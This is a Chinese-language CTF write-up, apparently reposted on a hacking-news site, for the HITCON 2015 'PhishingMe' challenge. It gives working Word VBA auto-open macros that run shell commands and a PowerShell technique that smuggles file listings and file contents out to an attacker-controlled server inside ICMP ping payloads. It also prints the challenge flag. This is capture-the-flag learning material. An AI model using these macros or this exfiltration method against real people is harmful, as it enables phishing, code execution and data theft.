记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

CTF writeup:HITCON–PhishingMe

2015-10-25 17:05

如果你发送一个主题为"HITCON 2015"的.doc文档我会打开!


在我的文件系统中找到flag
注:我会为你开启宏^_________________^
[email protected]

PhishingMe有趣的介绍告知我们可以在.doc中定义一个VBScript宏钓鱼,Here we go!

准备恶意文件

第一件事,我们需要一个Microsoft Word,这个 .doc文件需要在打开的时候自动运行脚本。过程如下:

创建一个.doc文件。并从开发选项单中找到宏选项

 

创建一个新的宏

 

我们创建的这个宏需要尝试通过cmd.exe运行一个简单的命令


Sub Auto_Open()     
    Call Debugging 
End Sub 

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "cmd.exe /c ""ping SERVER_IP"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

把这些放入宏窗口并保存

 

为了测试命令是否执行,我们来看看我们这边的ping请求:


tcpdump -nXX icmp

保存.doc,重新打开它,然后在服务器上看看ICMP返回的echo request:


10:25:49.351725 IP MY-TEST-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

Shweet!.doc文件在我们这端是正常运行的,我们再来看看在目标端是否正常运行。接着我们将.doc文件发送到phishing.me.hitcon.2015#gmail.com,等一会之后在来看看通信。


10:29:21.411226 IP VICTIM-IP > MY-IP: ICMP echo request, id 1, seq 21, length 40

命令正常执行,接下来我们该做什么呢?

反复试验

首先试试了常见的CTF比赛策略:上传Shell然后再找flag。我们可以尝试以下使用来自PowershellEmpire的Powershell RAT。经过30 – 45分钟的测试,我们意识到回调函数并未从目标机器传递到我们的服务器上,即使他们运行在本地测试环境中。这其中肯定存在防火墙或者是其他东西阻止这些出站流量。但是我们已经接收到来自服务器的流量…

填充FTW

我们知道ICMP的echo requests已经传到我们的服务器,同时我们还能通过VBScript执行命令。那么这里是否存在什么东西发送ping….Powershell啊?!(我非常兴奋,这是我第一次在CTF中使用Powershell)下面我们就来看看如何发送ICMP的echo request

Microsoft页面对System.Net.NetworkInformation.Ping的定义如下:

 

 

似乎我们需要IP address, timeout, 以及a buffer作为参数?

下面我们再来看看ICMP echo request的射频图

 

事实证明,ICMP echo request中有一个数据缓冲区,这可以通过在第三个参数Send函数中进行设置

在Powershell中调用这个函数:


(New-Object System.Net.NetworkInformation.Ping).Send(server_ip, timeout, buffer)

理论上我们可以通过缓冲区域的命令结果,并从tcpdump输出中看到结果。我们通过ICMP做一个快速dir


powershell "$dir=dir; 
(New-Object System.Net.NetworkInformation.Ping).Send('SERVER_IP', 1000, $dir)"

在VBScript中替换这个命令应该能够成功


Sub Auto_Open()     
    Call Debugging 
End Sub 

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "powershell ""$dir=dir;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

丢给目标,得到非常有趣的结果:


10:10:00.816080 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 19, length 75 
0x0030:  6773 2050 726f 6772 616d 2046 696c 6573  gs.Program.Files 
0x0040:  2050 726f 6772 616d 2046 696c 6573 2028  .Program.Files.( 
0x0050:  7838 3629 2055 7365 7273 2057 696e 646f  x86).Users.Windo 
0x0060:  7773 2073 6563 7265 742e 7478 74         ws.secret.txt

secret.txt是重点啊,将dir替换为type secret.txt,看看有没有啥好结果:


Sub Auto_Open()     
    Call Debugging 
End Sub

Sub AutoOpen()     
    Call Debugging 
End Sub 

Public Function Debugging() As Variant     
    Set objShell = CreateObject("Wscript.Shell")     
    strCmd = "powershell ""$dir=type secret.txt;(New-Object System.Net.NetworkInformation.Ping).Send('OUR_SERVER_IP', 1000, [system.Text.Encoding]::UTF8.GetBytes($dir)"""     
    Set objExec = objShell.Exec(strCmd) 
End Function

结果


10:11:35.383781 IP VICTIM_IP > OUR_SERVER_IP: ICMP echo request, id 1, seq 20, length 52  
... 
0x0020:  .... .... .... .... .... 6869 7463 6f6e  hitcon 
0x0030:  7b6d 3463 7230 5f6d 6131 7761 7265 5f31  {m4cr0_ma1ware_1 
0x0040:  735f 6d34 6b31 6e67 5f61 5f63 306d 6562  s_m4k1ng_a_c0meb 
0x0050:  3463 6b21 217d                           4ck!!}

在这里我们找到


hitcon{m4cr0_ma1ware_1s_m4k1ng_a_c0meb4ck!!}

很酷的一个挑战,特别是使用PowerShell

知识来源: www.2cto.com/Article/201510/447400.html

阅读:87988 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“CTF writeup:HITCON–PhishingMe”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云

本页关键词